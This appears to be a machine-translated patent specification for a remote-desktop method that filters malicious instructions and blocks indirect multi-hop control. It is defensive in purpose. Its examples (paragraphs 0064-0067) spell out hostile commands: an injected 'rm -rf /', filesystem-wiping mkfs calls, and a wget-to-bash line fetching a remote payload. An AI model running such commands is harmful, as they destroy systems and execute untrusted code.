Remote control method, computing device and storage medium

Abstract

The present invention discloses a remote control method, a computing device and a storage medium. The remote control method is executed in a first terminal, wherein the first terminal is communicatively connected to a second terminal and the first terminal is remotely controlled by the second terminal. The method comprises: receiving a target instruction from the second terminal; detecting whether the target instruction is a malicious instruction; if the target instruction is a malicious instruction, filtering the target instruction and generating an early warning prompt; otherwise, responding to the target instruction by executing a corresponding operation.

Description

[0001] This application is a divisional application of the invention patent application filed on July 22, 2021. The application number of the original application is: 2021108285485, and the name of the invention is: A remote control method, computing device and storage medium. Technical Field

[0002] The present invention relates to the field of the Internet, and in particular to a remote control method, a computing device, and a storage medium. Background Art

[0003] With the rapid development of network technology, remote work and remote assistance technologies have become widely used. From the birth to maturity of remote desktop technology, data security and privacy protection (for example, damage to user systems and illegal access to user privacy data) have always been key technical issues it has addressed. In recent years, many related technologies have emerged, such as remote desktop isolation and process isolation. However, these technologies have not fundamentally addressed or prevented untrusted command injection and illegal desktop operations during remote user access, leading to user data leakage and threatening user information security and computer system security.

[0004] In addition, there are certain risks in the use of multi-level indirect remote control. For example, when there are three computers a, b, and c, a remotely controls b, and b remotely controls c. In this way, a indirectly controls c. However, the user of computer c may not want to be accessed by a. Through this indirect access method, the user data on computer c will be leaked to a. Summary of the Invention

[0005] In view of the above problems, the present invention is proposed to provide a remote control method, a computing device, and a storage medium that overcome the above problems or at least partially solve the above problems.

[0006] According to one aspect of the present invention, a remote control method is provided, which is executed in a first terminal, wherein the first terminal is communicatively connected to a second terminal and the first terminal is remotely controlled by the second terminal. The method includes: receiving a target instruction from the second terminal; detecting whether the target instruction is a malicious instruction; if the target instruction is a malicious instruction, filtering the target instruction and generating an early warning prompt; otherwise, responding to the target instruction by performing a corresponding operation.

[0007] Optionally, in the remote control method according to the present invention, the first terminal is also communicatively connected to the third terminal, and the third terminal is remotely controlled by the first terminal, and before the step of detecting whether the target instruction is a malicious instruction, it also includes the steps of: identifying the target terminal indicated by the target instruction; if the target terminal is the third terminal, prohibiting responding to the target instruction.

[0008] Optionally, in the remote control method according to the present invention, the step of identifying the target terminal indicated by the target instruction includes: obtaining the pixel point pointed to by the target instruction on the operation interface of the second terminal; and matching the pixel point with the pixel point of the corresponding position coordinate in the preset pixel image according to the position coordinates of the pixel point to identify the target terminal indicated by the target instruction.

[0009] Optionally, in the remote control method according to the present invention, the target instruction includes at least a control instruction, and the step of detecting whether the target instruction is a malicious instruction includes: monitoring data on the network port and analyzing the monitored data to obtain an analysis result; based on the analysis result, judging whether the control instruction is a trusted instruction; if the control instruction is an untrusted instruction, determining that the control instruction is a malicious instruction.

[0010] Optionally, in the remote control method according to the present invention, the steps of monitoring data on the network port and analyzing the monitored data include: using at least one of a monitoring program written in socket, a data packet capture tool, a firewall tool, a crawler tool and a big data keyword fuzzy matching technology to realize data monitoring of the network port and analyze the monitored data.

[0011] Optionally, in the remote control method according to the present invention, the target instruction includes at least a control instruction, and the step of detecting whether the target instruction is a malicious instruction includes: matching the control instruction with a preset instruction library, the preset instruction library contains multiple malicious instructions, wherein the malicious instructions include at least malicious instruction programs and / or viruses; if the match is successful, the control instruction is determined to be a malicious instruction.

[0012] Optionally, in the remote control method according to the present invention, the target instruction includes at least an operation instruction, and the step of detecting whether the target instruction is a malicious instruction includes: analyzing the instruction data of the operation instruction by simulating the operation instruction, the instruction data including at least the operation type and / or the operation object; based on the analyzed operation type and / or the object to be processed, determining whether the operation instruction corresponds to a correct operation; if the operation instruction is an incorrect operation, the operation instruction is determined to be a malicious instruction, wherein the incorrect operation includes: deleting system files, downloading malicious programs, deleting user information and copying user information. At least one of the following.

[0013] Optionally, in the remote control method according to the present invention, the step of analyzing the instruction data of the operation instruction by simulating the operation instruction, and the instruction data at least including the operation type and / or operation object includes: simulating the response to the operation of the input device to analyze the instruction data of the operation instruction, wherein the input device includes: at least one of a mouse and a keyboard coupled to the first terminal.

[0014] According to another aspect of the present invention, a computing device is provided, comprising: at least one processor; and a memory storing program instructions, wherein the program instructions are configured to be suitable for execution by the at least one processor, and the program instructions include instructions for executing the above method.

[0015] According to another aspect of the present invention, a readable storage medium storing program instructions is provided. When the program instructions are read and executed by a computing device, the computing device executes the above method.

[0016] According to the solution of the present invention, by detecting whether the target instruction is a malicious instruction, if it is a malicious instruction, the target instruction is filtered to prevent remote untrusted or system-destructive command injection and execution. This solution can not only meet the needs of daily office work, but also protect the user's privacy data or business data very well. As long as certain settings are made, remote users can operate with confidence without worrying about any damage.

[0017] According to the solution of the present invention, in a multi-level indirect remote control scenario, by identifying the controlled terminal indicated by the target instruction, it is determined whether the target instruction is a skip-level remote control instruction. If it is a skip-level remote control instruction, responding to the control instruction is prohibited to avoid user data leakage.

[0018] The above description is only an overview of the technical solution of the present invention. In order to more clearly understand the technical means of the present invention, it can be implemented in accordance with the contents of the specification. In order to make the above and other purposes, features and advantages of the present invention more obvious and easy to understand, the specific implementation methods of the present invention are specifically listed below. BRIEF DESCRIPTION OF THE DRAWINGS

[0019] Various other advantages and benefits will become apparent to those skilled in the art upon reading the detailed description of the preferred embodiment below. The accompanying drawings are for illustration purposes only and are not to be considered as limiting the present invention. The same reference symbols are used throughout the drawings to represent the same components. In the drawings:

[0020] Figure 1 A schematic diagram of a computing device 100 according to one embodiment of the present invention is shown;

[0021] Figure 2 shows a flow chart of a remote control method 200 according to one embodiment of the present invention;

[0022] Figure 3 A schematic diagram illustrating incorrect operation 300 according to one embodiment of the present invention is shown;

[0023] Figure 4A schematic diagram showing a remote control system 400 according to an embodiment of the present invention

[0024] Figure 5 shows a flow chart of a remote control method 500 according to one embodiment of the present invention;

[0025] Figure 6 Schematic diagram of a remote control system 600 according to one embodiment of the present invention is shown;

[0026] Figure 7 FIG. 7 is a timing diagram showing a remote control system workflow 700 according to an embodiment of the present invention. DETAILED DESCRIPTION

[0027] Exemplary embodiments of the present disclosure will be described in more detail below with reference to the accompanying drawings. Although exemplary embodiments of the present disclosure are shown in the accompanying drawings, it should be understood that the present disclosure can be implemented in various forms and should not be limited by the embodiments set forth herein. Rather, these embodiments are provided to enable a more thorough understanding of the present disclosure and to fully convey the scope of the present disclosure to those skilled in the art.

[0028] In remote desktop solutions, remote control primarily involves a master terminal and a controlled terminal. For example, master terminal A remotely controls controlled terminal B. Untrusted command injection or illegal desktop operations during this remote process (for example, master terminal A sending untrusted commands to controlled terminal B or controlling controlled terminal B to perform dangerous operations) can damage user systems or allow private user data to be stolen, resulting in data leaks and threatening user information security and computer system security.

[0029] Furthermore, if master terminal a remotely controls controlled terminal b while controlled terminal b also remotely controls controlled terminal c, master terminal a will indirectly control controlled terminal c. However, controlled terminal c may not be remotely controlled by master terminal a. This indirect control method results in the leakage of data from controlled terminal c to master terminal a, posing a risk of theft of user data from controlled terminal c. It should be noted that this type of remote indirect control is not limited to two controlled terminals and can include multiple controlled terminals, for example, one master terminal, three, or four controlled terminals. The present invention is not limited to this.

[0030] To solve the above problems in the prior art, the present invention proposes a solution. One embodiment of the present invention provides a remote control method, which can be executed in a computing device. Figure 1 FIG. 1 shows a block diagram of a computing device 100 according to an embodiment of the present invention. Figure 1As shown, in a basic configuration 102, computing device 100 typically includes system memory 106 and one or more processors 104. A memory bus 108 may be used for communication between processor 104 and system memory 106.

[0031] Depending on the desired configuration, the processor 104 can be any type of processor, including, but not limited to, a microprocessor (μP), a microcontroller (μC), a digital signal processing unit (DSP), or any combination thereof. The processor 104 can include one or more levels of cache, such as a level 1 cache 110 and a level 2 cache 112, a processor core 114, and registers 116. An example processor core 114 can include an arithmetic logic unit (ALU), a floating point unit (FPU), a digital signal processing core (DSP core), or any combination thereof. An example memory controller 118 can be used with the processor 104, or in some implementations, the memory controller 118 can be an internal part of the processor 104.

[0032] Depending on the desired configuration, system memory 106 can be any type of memory, including but not limited to volatile memory (such as RAM), non-volatile memory (such as ROM, flash memory, etc.), or any combination thereof. Physical memory in a computing device typically refers to volatile RAM. Data stored on a disk must be loaded into physical memory before it can be read by processor 104. System memory 106 can include an operating system 120, one or more applications 122, and program data 124. Applications 122 are essentially multiple program instructions that instruct processor 104 to perform corresponding operations. In some embodiments, applications 122 can be arranged so that one or more processors 104 execute instructions on the operating system using program data 124. Operating system 120, for example, can be Linux, Windows, etc., and includes program instructions for handling basic system services and performing hardware-dependent tasks. Applications 122 include program instructions for implementing various user-desired functions. Applications 122 can be, for example, browsers, instant messaging software, software development tools (such as integrated development environments (IDEs), compilers, etc.), but are not limited thereto. When the application 122 is installed into the computing device 100 , a driver module may be added to the operating system 120 .

[0033] When the computing device 100 is started, the processor 104 reads and executes the program instructions of the operating system 120 from the memory 106. Applications 122 run on top of the operating system 120, utilizing the interfaces provided by the operating system 120 and the underlying hardware to implement various user-desired functions. When a user launches an application 122, the application 122 is loaded into the memory 106, and the processor 104 reads and executes the program instructions of the application 122 from the memory 106.

[0034] Computing device 100 also includes a storage device 132 including removable storage 136 and non-removable storage 138 , both of which are connected to storage interface bus 134 .

[0035] The computing device 100 may also include an interface bus 140 that facilitates communication from various interface devices (e.g., output devices 142, peripheral interfaces 144, and communication devices 146) to the basic configuration 102 via the bus / interface controller 130. Example output devices 142 include a graphics processing unit 148 and an audio processing unit 150. These can be configured to facilitate communication with various external devices such as a display or speakers via one or more A / V ports 152. Example peripheral interfaces 144 may include a serial interface controller 154 and a parallel interface controller 156, which can be configured to facilitate communication with external devices such as input devices (e.g., a keyboard, mouse, pen, voice input device, touch input device) or other peripherals (e.g., a printer, scanner, etc.) via one or more I / O ports 158. Example communication devices 146 may include a network controller 160, which can be arranged to facilitate communication with one or more other computing devices 162 via a network communication link via one or more communication ports 164.

[0036] A network communication link can be an example of a communication medium. Communication media can generally be embodied as computer-readable instructions, data structures, program modules in a modulated data signal such as a carrier wave or other transmission mechanism, and can include any information delivery medium. A "modulated data signal" can be a signal in which one or more of its data sets or changes thereto can be performed in a manner that encodes information in the signal. As non-limiting examples, communication media can include wired media such as a wired network or a dedicated line network, and various wireless media such as sound, radio frequency (RF), microwave, infrared (IR) or other wireless media. The term computer-readable medium as used herein can include both storage media and communication media.

[0037] The computing device 100 also includes a storage interface bus 134 connected to the bus / interface controller 130. The storage interface bus 134 is connected to a storage device 132, which is suitable for storing data. Example storage devices 132 may include removable storage 136 (e.g., CDs, DVDs, USB flash drives, removable hard drives, etc.) and non-removable storage 138 (e.g., hard disk drives, HDDs, etc.).

[0038] In the computing device 100 according to the present invention, the application 122 includes a plurality of program instructions for executing the method 200 and the method 400 .

[0039] Figure 2 FIG2 is a flow chart of a method 200 according to an embodiment of the present invention. The method 200 is suitable for being executed in a computing device (such as the aforementioned computing device 100).

[0040] like Figure 2 As shown, the purpose of method 200 is to implement a remote control method, which is executed on a first terminal, wherein the first terminal is in communication with a second terminal, and the first terminal is remotely controlled by the second terminal. It should be noted that the first terminal and the second terminal may also be referred to as a first computing device and a second computing device. The method begins in step S202, in which a target instruction is received from the second terminal. The target instruction includes at least one of a control instruction and an operation instruction. In this embodiment, a control instruction generally refers to data or a data packet sent by the second terminal (the master terminal) to the first terminal (the controlled terminal). An operation instruction generally refers to the second terminal performing a remote desktop operation on the first terminal, for example, the second terminal remotely opening a system file residing in the first terminal. Common remote control programs include a communication module and a control module. The communication module is used to implement data exchange between the master terminal (the second terminal) and the controlled terminal (the first terminal), corresponding to the control instructions in this embodiment. The control module is used to implement various operations of the master terminal (the second terminal) on the controlled terminal (the first terminal), corresponding to the operation instructions in this embodiment.

[0041] In step S204, the target instruction is detected to see if it is a malicious instruction. As mentioned above, the target instruction includes at least one of a control instruction and an operation instruction. The detection methods for control instructions and operation instructions are different. The following are respectively described:

[0042] When the target instruction is a control instruction, in some embodiments, the target instruction can be detected through the following sub-steps.

[0043] Step S224: Monitor the network port for data and analyze the monitored data. The network port is the interface for receiving data from the terminal device. By monitoring the network port for data, the received data can be processed in a timely manner.

[0044] The method for monitoring data on a network port and analyzing the monitored data may include:

[0045] 1) Use the monitoring program written by socket to monitor the data of the network port and analyze the monitored data.

[0046] 2) Use a data capture tool to monitor the network port data and analyze the monitored data. The data capture tool can be an external program tool such as socketTool.nc, tcpdump, etc., which is not limited in this application.

[0047] 3) Use firewall tools to monitor network port data and analyze the monitored data. Firewall technology can selectively analyze and filter data packets at the network layer.

[0048] 4) Use crawler tools to monitor data on network ports and analyze the monitored data.

[0049] 5) Use big data keyword fuzzy matching technology to monitor network port data and analyze the monitored data.

[0050] It should be noted that the above methods can be used alone to detect target instructions; they can also be used in combination to detect target instructions; they can even be combined with other existing detection / filtering methods, and the embodiments of the present invention do not limit this.

[0051] Step S244: Based on the analysis result, determine whether the control instruction is a trusted instruction. A trusted instruction refers to a trustworthy data instruction.

[0052] Step S264: If the control instruction is an untrusted instruction, the control instruction is determined to be a malicious instruction.

[0053] Of course, in addition to the above method of detecting whether the control instruction is a trusted instruction by monitoring data on the network port of the first terminal, other methods may also be used to detect whether the control instruction is a malicious instruction.

[0054] Specifically, in some embodiments, the control instruction is matched with a preset instruction library. If the match is successful, the control instruction is determined to be a malicious instruction. The preset instruction library includes multiple malicious instructions, and the malicious instructions include at least malicious instruction programs and / or viruses.

[0055] In a specific example, the preset instruction library can be a local malicious instruction program library built by the user himself. A malicious instruction program refers to a program or instruction that damages the system or infringes on user privacy. The malicious instruction program library is constructed through big data network collection, user feedback reporting, security notifications from major security companies, and various network and system experts providing malicious code terminals and malicious tools, and finally building a malicious instruction program library, which can serve offline systems and perform data analysis and verification from network services.

[0056] Alternatively, the pre-set command library can be an existing virus library. Modern computer systems all offer offline antivirus software, and the virus library, as a database of virus collections, contains a wide variety of system viruses from around the world. Unfilterable program commands and code segments can be safely filtered using a virus library certified by a security company to ensure normal system operation.

[0057] When the target instruction is an operation instruction, in some embodiments, the detection of the operation instruction can be achieved through the following sub-methods.

[0058] First, by simulating an operation instruction, the instruction data of the operation instruction is analyzed. The instruction data includes at least the operation type and / or the operation object. The operation type may be, for example, click, enter, double-click, etc. The operation object may be the file, program, or system being operated on. Specifically, the operation data of the operation instruction is analyzed by simulating a response to an operation of an input device, wherein the input device includes at least one of a mouse and a keyboard coupled to the first terminal. The instruction data of the operation instruction is identified by collecting data from the keyboard and mouse devices.

[0059] For example, the principle that the master terminal (second terminal) can remotely control the controlled terminal (first terminal) is that the operation instructions sent by the master terminal can simulate the hardware device of the controlled terminal to operate the controlled terminal.

[0060] In one specific example, a second terminal can remotely control the first terminal using a hardware device simulation tool. For example, mouse simulation tools can be used to simulate responses to mouse operations, using commonly used tools such as PyUserInput, Selenium, and robot.qt. When a user uses the mouse to delete important system files, these tools can detect simulated mouse clicks and analyze the correctness of the operation based on the click type and mouse screen position. Figure 3 FIG. 3 is a schematic diagram illustrating an incorrect operation 300 according to an embodiment of the present invention. Figure 3 As shown, the user clicks on the system etc directory and selects the delete button in the right-click menu. If malicious operations are not restricted, deleting the etc directory means damaging the system. For this behavior, it is necessary to quickly identify it during remote simulation operations and provide feedback to the user.

[0061] Then, based on the analyzed operation type and / or the object to be processed, it is determined whether the operation instruction corresponds to a correct operation.

[0062] There are many types of incorrect operations. In some embodiments, the incorrect operations include at least one of: deleting system files, downloading malicious programs, deleting user data, and copying user data.

[0063] In a specific example, the following specific incorrect operation instructions are listed:

[0064] 1. Incorrect operation instructions that cause the operating system to crash: rm-rf / . If the user inputs "hello;rm-rf / " on the remote terminal, if the user system is not processed and executes the rm-rf / statement, this command will cause the user system to crash and all user data to be deleted. No one can bear such a risk.

[0065] 2. Incorrect operation instructions that cause file system crash: mkfs mkfs.ext3 mkfs.anything.

[0066] 3. Incorrect operation instructions for downloading malicious programs from remote locations:

[0067] wget-qO-http: / / 192.168.1.0 / malicious program|bash.

[0068] Finally, if the operation instruction is an incorrect operation, the operation instruction is determined to be a malicious instruction.

[0069] In addition, in scenarios where the target instructions include both control instructions and operation instructions, each of the control instructions and the operation instructions can be individually checked for maliciousness. For example, the control instructions can be checked first and then the operation instructions, or the operation instructions can be checked first and then the control instructions. This embodiment does not limit this. It should be noted that if either the control instruction or the operation instruction is detected as malicious, the target instruction is determined to be malicious.

[0070] In step S206, if the target instruction is malicious, the target instruction is filtered and a warning prompt is generated. Otherwise, the target instruction is responded to by executing the corresponding operation. In other words, if the target instruction is detected as malicious in step S204, responding to the target instruction is prohibited, and a corresponding warning prompt is generated to notify the user. If the target instruction is detected as non-malicious in step S204, the corresponding operation is executed.

[0071] In a specific example, refer to Figure 4 , Figure 4A schematic diagram of a remote control system 400 according to an embodiment of the present invention is shown, wherein the system 400 is applicable to the above-mentioned method 200 .

[0072] like Figure 4 The system 400 includes a first terminal 410 and a second terminal 420. The first terminal 410 and the second terminal 420 are communicatively connected. The second terminal 420 is suitable for sending control instructions and / or operation instructions to the first terminal 410. The first terminal 410 is suitable for detecting whether the control instructions and / or target instructions are malicious instructions. Specifically, for control instructions, whether the control instructions are malicious instructions can be detected by monitoring the network port data of the first terminal 410 and / or matching the control instructions with the instruction library residing in the first terminal 410; for operation instructions, whether the operation instructions are malicious instructions can be detected by collecting the simulated actions of the hardware device simulation tool. It is also suitable for filtering the control instructions and / or operation instructions when it is detected that the control instructions and / or operation instructions are malicious instructions, and generating an early warning prompt. When it is detected that the control instructions and / or operation instructions are non-malicious instructions, performing corresponding operations to respond to the control instructions and / or operation instructions.

[0073] Figure 5 FIG2 is a flowchart of a method 500 according to an embodiment of the present invention. The method 500 is suitable for being executed in a computing device (such as the aforementioned computing device 100).

[0074] like Figure 5 As shown, the purpose of method 500 is to implement a multi-level indirect remote control method, which is executed at a first terminal, wherein the first terminal is in communication with a second terminal and a third terminal respectively, and the first terminal is remotely controlled by the second terminal, and the third terminal is remotely controlled by the first terminal. In other words, the second terminal can indirectly control the third terminal through the first terminal. It should be noted that, if Figure 6 The application scenario shown is merely exemplary, and the application scenario of the multi-level remote control method according to this embodiment is not limited to three terminals, but can also be applied to application scenarios with more terminals, which is not limited in this embodiment. The method begins in step S502, in which a target instruction is received from a second terminal.

[0075] In step S504, the target terminal indicated by the target instruction is identified. This identification can be performed based on a pixel matching method. Specifically, the pixel to which the target instruction points on the operating interface of the second terminal is first obtained. Based on the position coordinates of the pixel, the pixel is matched with the pixel of the corresponding position coordinates in a preset pixel image to identify the target terminal indicated by the target instruction. The preset pixel image is an image formed by the content currently displayed on the second terminal's display interface. In step S506, if the target terminal is a third terminal, responding to the target instruction is prohibited.

[0076] In a specific example, the display interface of the second terminal simultaneously displays the display interface of the first terminal and the display interface of the third terminal. The display interface of the first terminal also displays the display interface of the third terminal. When the second terminal needs to send a target instruction to the third terminal, it needs to be forwarded through the first terminal. To prevent the second terminal from controlling the third terminal, the display content image of the current display interface of the second terminal (i.e., a preset pixel image, on which the display interfaces of the first terminal, the second terminal, and the third terminal are respectively displayed) can be obtained first. When the user operates the display interface of the second terminal (for example, a mouse click operation), the operation position corresponds to a pixel point on the preset pixel image. According to the coordinate position of the pixel point, a pixel point matching is performed with the preset pixel image. If the corresponding pixel point matches successfully, it means that the pixel point falls within the display interface of the third terminal, and the target instruction is filtered to prevent the third terminal from responding to the target instruction.

[0077] Of course, if the target terminal indicated by the target instruction is the first terminal, then continue to execute steps S204 to S208 in the above method 200. Or directly respond to the target instruction. In this embodiment, this is not limited.

[0078] Figure 6 FIG. 6 is a schematic diagram showing a remote control system 600 according to an embodiment of the present invention. Figure 6 As shown, the system 600 includes: a first terminal 610 , a second terminal 620 and a third terminal 630 .

[0079] The first terminal 610 is connected to the second terminal 620 and the third terminal 630 respectively, and the first terminal 610 is remotely controlled by the second terminal 620, and the third terminal 630 is remotely controlled by the first terminal 610. In other words, the second terminal 620 can indirectly control the third terminal 630 through the first terminal 610. It should be noted that, if Figure 6 The application scenarios shown are merely exemplary. The application scenarios of the multi-level remote control method according to this embodiment are not limited to three terminals, but can also be applied to application scenarios with more terminals, which is not limited in this embodiment.

[0080] In a specific example, combining Figure 7 The working principle of the system 600 is described as follows:

[0081] Figure 7 FIG. 7 is a timing diagram showing a remote control system workflow 700 according to an embodiment of the present invention.

[0082] Step S701: A first terminal establishes a remote connection with a second terminal.

[0083] Step S702: The first terminal establishes a remote connection with the third terminal.

[0084] Step S703: The second terminal sends a target instruction to the first terminal.

[0085] Step S704: The first terminal identifies the target terminal indicated by the target instruction. If it is detected that the target terminal indicated by the target instruction is the third terminal, step S705 is executed; otherwise, step S706 is executed.

[0086] Step S705: The first terminal sends a control instruction to the third terminal for prohibiting response to the target instruction.

[0087] Step S706 , detecting whether the target instruction is a malicious instruction. If it is detected that the target instruction is a malicious instruction, executing step S707 , otherwise executing step S708 .

[0088] Step S707: Filter the target instruction and generate a warning prompt.

[0089] Step S708: Execute corresponding operations to respond to the target instruction.

[0090] The various techniques described herein may be implemented in conjunction with hardware or software, or a combination thereof. Thus, the methods and apparatus of the present invention, or certain aspects or portions of the methods and apparatus of the present invention, may be implemented in the form of program codes (i.e., instructions) embedded in a tangible medium, such as a removable hard disk, a USB flash drive, a floppy disk, a CD-ROM, or any other machine-readable storage medium, wherein when the program is loaded into a machine such as a computer and executed by the machine, the machine becomes an apparatus for practicing the present invention.

[0091] When the program code is executed on a programmable computer, the computing device generally includes a processor, a storage medium readable by the processor (including volatile and non-volatile memory and / or storage elements), at least one input device, and at least one output device. The memory is configured to store the program code; the processor is configured to execute the method of the present invention according to the instructions in the program code stored in the memory.

[0092] By way of example and not limitation, readable media include readable storage media and communication media. Readable storage media store information such as computer-readable instructions, data structures, program modules, or other data. Communication media typically embody computer-readable instructions, data structures, program modules, or other data in a modulated data signal such as a carrier wave or other transport mechanism, and include any information delivery medium. Combinations of any of the above are also included within the scope of readable media.

[0093] In the description provided herein, the algorithms and displays are not inherently related to any particular computer, virtual system, or other device. Various general-purpose systems may also be used in conjunction with the examples of the present invention. Based on the above description, it is apparent that the structure required for constructing such systems is well understood. In addition, the present invention is not directed to any specific programming language. It should be understood that various programming languages ​​may be utilized to implement the present invention described herein, and the description of specific languages ​​above is provided for the purpose of disclosing preferred embodiments of the present invention.

[0094] In the description provided herein, a large number of specific details are described. However, it is understood that embodiments of the present invention can be practiced without these specific details. In some instances, well-known methods, structures, and techniques are not shown in detail so as not to obscure the understanding of this description.

[0095] Similarly, it should be understood that in order to streamline the present disclosure and aid in understanding one or more of the various inventive aspects, in the above description of exemplary embodiments of the invention, various features of the invention are sometimes grouped together into a single embodiment, figure, or description thereof. However, this disclosed method should not be interpreted as reflecting an intention that the claimed invention requires more features than are expressly recited in each claim. Rather, as reflected in the claims below, inventive aspects lie in less than all the features of the individual embodiments disclosed above. Accordingly, the claims that follow the detailed description are hereby expressly incorporated into this detailed description, with each claim standing on its own as a separate embodiment of the invention.

[0096] Those skilled in the art will appreciate that the modules, units, or components of the devices in the examples disclosed herein may be arranged in the device described in the embodiment, or alternatively may be located in one or more devices different from the devices in the examples. The modules in the foregoing examples may be combined into one module or further divided into multiple submodules.

[0097] Those skilled in the art will appreciate that the modules in the devices in the embodiments may be adaptively changed and arranged in one or more devices different from the embodiments. The modules or units or components in the embodiments may be combined into one module or unit or component, and in addition may be divided into multiple submodules or subunits or subcomponents. All features disclosed in this specification (including the accompanying claims, abstracts and drawings) and all processes or units of any method or device disclosed herein may be combined in any combination, except that at least some of such features and / or processes or units are mutually exclusive. Unless expressly stated otherwise, each feature disclosed in this specification (including the accompanying claims, abstracts and drawings) may be replaced by an alternative feature providing the same, equivalent or similar purpose.

[0098] Furthermore, those skilled in the art will appreciate that although some embodiments described herein include certain features included in other embodiments but not other features, combinations of features from different embodiments are intended to be within the scope of the present invention and to form different embodiments. For example, in the claims below, any of the claimed embodiments may be used in any combination.

[0099] In addition, some of the embodiments are described herein as methods or combinations of method elements that can be implemented by a processor of a computer system or by other devices that perform the functions described. Thus, a processor having the necessary instructions for implementing the method or method element forms a device for implementing the method or method element. Furthermore, the elements described herein of the device embodiments are examples of devices for implementing the functions performed by the elements for the purpose of implementing the invention.

[0100] As used herein, unless otherwise specified, the use of ordinal numbers "first," "second," "third," etc. to describe common objects merely indicates that different instances of similar objects are involved and are not intended to imply that the objects so described must have a given order in time, space, ranking, or in any other manner.

[0101] Although the present invention has been described with respect to a limited number of embodiments, it will be apparent to those skilled in the art, having benefit of the foregoing description, that other embodiments are contemplated within the scope of the invention thus described. Furthermore, it should be noted that the language used in this specification has been selected primarily for readability and didactic purposes, rather than for the purpose of explaining or limiting the subject matter of the present invention. Consequently, many modifications and variations will be apparent to those skilled in the art without departing from the scope and spirit of the appended claims. The disclosure of the present invention is intended to be illustrative and not restrictive of the scope of the invention, which is defined by the appended claims.

Claims

1. A remote control method, executed in a first terminal, wherein: The first terminal is communicatively connected to a second terminal and a third terminal respectively, and the third terminal is remotely controlled by the first terminal, and the first terminal is remotely controlled by the second terminal. The method includes: receiving a target instruction from the second terminal; Identifying a target terminal indicated by the target instruction; If the target terminal is the third terminal, prohibiting responding to the target instruction; If the target terminal is the first terminal, detecting whether the target instruction is a malicious instruction; If the target instruction is a malicious instruction, the target instruction is filtered and a warning prompt is generated; Otherwise, respond to the target instruction by executing a corresponding operation.

2. The method according to claim 1, wherein The target instruction includes at least a control instruction, and the step of detecting whether the target instruction is a malicious instruction includes: Monitor data on network ports and analyze the monitored data to obtain analysis results; Based on the analysis result, determining whether the control instruction is a credible instruction; If the control instruction is not a credible instruction, the control instruction is determined to be a malicious instruction.

3. The method according to claim 2, wherein: The steps of monitoring data on the network port and analyzing the monitored data include: At least one of a monitoring program written using sockets, a data packet capture tool, a firewall tool, a crawler tool, and a big data keyword fuzzy matching technology is used to monitor data on network ports and analyze the monitored data.

4. The method according to claim 1, wherein The target instruction includes at least a control instruction, and the step of detecting whether the target instruction is a malicious instruction includes: Matching the control instruction with a preset instruction library, wherein the preset instruction library contains multiple malicious instructions, wherein the malicious instructions at least include malicious instruction programs and / or viruses; If the match is successful, the control instruction is determined to be a malicious instruction.

5. The method according to claim 1, wherein The target instruction at least includes an operation instruction, and the step of detecting whether the target instruction is a malicious instruction includes: By simulating the operation instruction, analyzing instruction data of the operation instruction, the instruction data at least including an operation type and / or an operation object; Based on the analyzed operation type and / or operation object, determining whether the operation instruction corresponds to a correct operation; If the operation instruction is an incorrect operation, the operation instruction is determined to be a malicious instruction, wherein the incorrect operation includes at least one of: deleting system files, downloading malicious programs, deleting user data, and copying user data.

6. The method according to claim 5, wherein: The step of simulating the operation instruction and analyzing instruction data of the operation instruction, wherein the instruction data at least includes an operation type and / or an operation object, comprises: An operation of an input device is simulated and responded to to analyze instruction data of the operation instruction, wherein the input device includes at least one of a mouse and a keyboard coupled to the first terminal.

7. A computing device comprising: at least one processor; and A memory storing program instructions, wherein the program instructions are configured to be executed by the at least one processor, and the program instructions include instructions for executing the method according to any one of claims 1 to 6.

8. A readable storage medium storing program instructions, wherein when the program instructions are read and executed by a computing device, the computing device is caused to execute the method according to any one of claims 1 to 6.

Images